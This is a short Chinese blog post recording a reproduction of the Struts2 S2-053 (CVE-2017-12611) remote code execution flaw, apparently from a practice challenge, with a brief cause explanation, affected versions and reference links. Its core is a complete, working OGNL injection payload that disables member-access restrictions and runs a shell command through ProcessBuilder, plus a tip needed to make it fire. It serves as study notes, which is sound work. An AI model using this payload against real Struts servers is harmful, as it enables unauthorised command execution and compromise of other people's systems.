• Struct2远程命令执行漏洞(S2-053)复现学习


    1.S2-053(CVE-2017-12611) RCE出自一道题目

    http://www.whalwl.cn:8027/hello.action

     漏洞产生原因:Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。(说句实话,没看懂啥意思,不过大致意思是没有处理好用户输入,导致rce产生)

    影响版本:Struts 2.0.1 -Struts 2.3.33, Struts 2.5 - Struts 2.5.10

    参考的是这两篇文章的内容以及exp

    https://www.freebuf.com/vuls/147735.html

    https://blog.csdn.net/qq_29647709/article/details/84955205

    Payload:

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
    

     payload中加粗标红的是需要执行的命令

     值得一说的是这段payload有一个小坑,最后要按一下换行,不然无法执行命令

    后面的原理分析什麼的以后再补上

  • 相关阅读:
    php smarty使用..
    深圳面试!
    jQuery 源码分析..
    jQuery 使用技巧!!!
    TOMCAT 访问过程...
    准备使用Delphi调用WCF
    Delphi 中Format的字符串格式化使用说明(转载http://hi.baidu.com/test__123/blog/item/e3bba1599d717a2d2834f092.html)
    电脑启动程序自动启动
    判断输入字符串是否等效Int32位数字的两种方法
    vs2005 快捷键
  • 原文地址:https://www.cnblogs.com/mke2fs/p/11697107.html
Copyright © 2020-2023  润新知